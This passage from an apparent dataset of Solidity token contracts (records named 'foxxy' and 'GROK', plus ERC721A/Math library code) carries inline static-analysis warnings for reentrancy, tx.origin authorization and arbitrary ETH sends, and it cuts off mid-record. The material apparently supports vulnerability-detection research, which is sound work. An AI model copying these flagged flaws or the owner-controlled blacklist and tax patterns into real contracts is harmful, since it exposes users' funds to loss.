142f179: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (exemptFromTaxes[from] || exemptFromTaxes[to] || swapping) {\n super._transfer(from, to, amount);\n\n return;\n }\n\n require(tradingActive, \"Trading not active\");\n\n\t\t// reentrancy-events | ID: a335c95\n\t\t// reentrancy-benign | ID: a546e37\n\t\t// reentrancy-eth | ID: 142f179\n amount -= routeTax(from, to, amount);\n\n if (limitsInEffect) {\n\t\t\t// reentrancy-benign | ID: a546e37\n checkRestrictions(from, to, amount);\n }\n\n\t\t// reentrancy-events | ID: a335c95\n\t\t// reentrancy-eth | ID: 142f179\n super._transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 3c07460): foxxy.checkRestrictions(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferBlock[tx.origin] < block.number,Transfer Delay enabled.)\n\t// Recommendation for 3c07460: Do not use 'tx.origin' for authorization.\n function checkRestrictions(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (transferDelayInEffect) {\n if (to != address(dexRouter) && !isLPPair[to]) {\n\t\t\t\t// tx-origin | ID: 3c07460\n require(\n _holderLastTransferBlock[tx.origin] < block.number,\n \"Transfer Delay enabled.\"\n );\n\n\t\t\t\t// reentrancy-benign | ID: a546e37\n _holderLastTransferBlock[tx.origin] = block.number;\n }\n }\n\n if (isLPPair[from] && !exemptFromLimits[to]) {\n require(amount <= maxTrans, \"Max tx exceeded.\");\n\n require(amount + balanceOf(to) <= maxWallet, \"Max wallet exceeded\");\n } else if (isLPPair[to] && !exemptFromLimits[from]) {\n require(amount <= maxTrans, \"Max tx exceeded.\");\n } else if (!exemptFromLimits[to]) {\n require(amount + balanceOf(to) <= maxWallet, \"Max wallet exceeded\");\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5af3a43): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5af3a43: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1ca209a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1ca209a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function routeTax(\n address from,\n address to,\n uint256 amount\n ) internal returns (uint256) {\n if (\n balanceOf(address(this)) >= swapTokensAtAmt &&\n !swapping &&\n !isLPPair[from]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 5af3a43\n\t\t\t// reentrancy-eth | ID: 1ca209a\n swap();\n\n\t\t\t// reentrancy-eth | ID: 1ca209a\n swapping = false;\n }\n\n uint256 tax = 0;\n\n if (isLPPair[to] && sellTax > 0) {\n tax = (amount * sellTax) / FEE_DIVISOR;\n } else if (isLPPair[from] && buyTax > 0) {\n tax = (amount * buyTax) / FEE_DIVISOR;\n }\n\n if (tax > 0) {\n\t\t\t// reentrancy-events | ID: 5af3a43\n\t\t\t// reentrancy-eth | ID: 1ca209a\n super._transfer(from, address(this), tax);\n }\n\n return tax;\n }\n\n function swapTokensForETH(uint256 tokenAmt) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = dexRouter.WETH();\n\n\t\t// reentrancy-events | ID: 5af3a43\n\t\t// reentrancy-events | ID: a335c95\n\t\t// reentrancy-benign | ID: a546e37\n\t\t// reentrancy-eth | ID: 1ca209a\n\t\t// reentrancy-eth | ID: 142f179\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmt,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1824008): foxxy.swap() sends eth to arbitrary user Dangerous calls (success,None) = opsAddress.call{value address(this).balance}()\n\t// Recommendation for 1824008: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function swap() private {\n uint256 contractBalance = balanceOf(address(this));\n\n if (contractBalance == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmt * 40) {\n contractBalance = swapTokensAtAmt * 40;\n }\n\n swapTokensForETH(contractBalance);\n\n if (address(this).balance > 0) {\n bool success;\n\n\t\t\t// reentrancy-events | ID: 5af3a43\n\t\t\t// reentrancy-events | ID: a335c95\n\t\t\t// reentrancy-benign | ID: a546e37\n\t\t\t// reentrancy-eth | ID: 1ca209a\n\t\t\t// reentrancy-eth | ID: 142f179\n\t\t\t// arbitrary-send-eth | ID: 1824008\n (success, ) = opsAddress.call{value: address(this).balance}(\"\");\n }\n }\n}\n",
"file_name": "solidity_code_10722.sol",
"size_bytes": 20519,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract GROK is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 69d90ba): GROK._taxWallet should be immutable \n\t// Recommendation for 69d90ba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc1c69f): GROK._initialBuyTax should be constant \n\t// Recommendation for dc1c69f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: b0b6bed): GROK._initialSellTax should be constant \n\t// Recommendation for b0b6bed: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b20dcdc): GROK._reduceBuyTaxAt should be constant \n\t// Recommendation for b20dcdc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7c61fe): GROK._reduceSellTaxAt should be constant \n\t// Recommendation for e7c61fe: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b000ea0): GROK._preventSwapBefore should be constant \n\t// Recommendation for b000ea0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Global Revolution of Krypto\";\n\n string private constant _symbol = unicode\"G.R.O.K.\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd495e0): GROK._taxSwapThreshold should be constant \n\t// Recommendation for dd495e0: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f9dc76): GROK._maxTaxSwap should be constant \n\t// Recommendation for 5f9dc76: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 15000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aea198b): GROK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for aea198b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7d11e04): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7d11e04: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c910899): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c910899: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7d11e04\n\t\t// reentrancy-benign | ID: c910899\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7d11e04\n\t\t// reentrancy-benign | ID: c910899\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d242e3a): GROK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d242e3a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c910899\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7d11e04\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2ad14e5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2ad14e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1c09ed5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1c09ed5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 2ad14e5\n\t\t\t\t// reentrancy-eth | ID: 1c09ed5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2ad14e5\n\t\t\t\t\t// reentrancy-eth | ID: 1c09ed5\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1c09ed5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1c09ed5\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1c09ed5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2ad14e5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1c09ed5\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1c09ed5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2ad14e5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2ad14e5\n\t\t// reentrancy-events | ID: 7d11e04\n\t\t// reentrancy-benign | ID: c910899\n\t\t// reentrancy-eth | ID: 1c09ed5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7faac0b): GROK.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 7faac0b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2ad14e5\n\t\t// reentrancy-events | ID: 7d11e04\n\t\t// reentrancy-eth | ID: 1c09ed5\n\t\t// arbitrary-send-eth | ID: 7faac0b\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 699f02c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 699f02c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 43ee870): GROK.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 43ee870: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 83724c1): GROK.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 83724c1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2338905): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2338905: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 699f02c\n\t\t// reentrancy-eth | ID: 2338905\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 699f02c\n\t\t// unused-return | ID: 83724c1\n\t\t// reentrancy-eth | ID: 2338905\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 699f02c\n\t\t// unused-return | ID: 43ee870\n\t\t// reentrancy-eth | ID: 2338905\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 699f02c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2338905\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10723.sol",
"size_bytes": 20522,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC165 {\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n\ninterface IERC721 is IERC165 {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n function approve(address to, uint256 tokenId) external;\n\n function setApprovalForAll(address operator, bool approved) external;\n\n function getApproved(\n uint256 tokenId\n ) external view returns (address operator);\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n}\n\ninterface IERC721Metadata is IERC721 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n\ninterface IERC721A is IERC721, IERC721Metadata {\n error ApprovalCallerNotOwnerNorApproved();\n\n error ApprovalQueryForNonexistentToken();\n\n error ApproveToCaller();\n\n error ApprovalToCurrentOwner();\n\n error BalanceQueryForZeroAddress();\n\n error MintToZeroAddress();\n\n error MintZeroQuantity();\n\n error OwnerQueryForNonexistentToken();\n\n error TransferCallerNotOwnerNorApproved();\n\n error TransferFromIncorrectOwner();\n\n error TransferToNonERC721ReceiverImplementer();\n\n error TransferToZeroAddress();\n\n error URIQueryForNonexistentToken();\n\n struct TokenOwnership {\n address addr;\n uint64 startTimestamp;\n bool burned;\n }\n\n struct AddressData {\n uint64 balance;\n uint64 numberMinted;\n uint64 numberBurned;\n uint64 aux;\n }\n\n function totalSupply() external view returns (uint256);\n}\n\ninterface IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Math {\n enum Rounding {\n Down,\n Up,\n Zero\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5bf8909): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 5bf8909: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9ca6784): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 9ca6784: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0191616): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 0191616: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 95bff36): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 95bff36: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 99c9d44): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 99c9d44: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b76f310): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for b76f310: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c0602f0): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for c0602f0: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1783622): 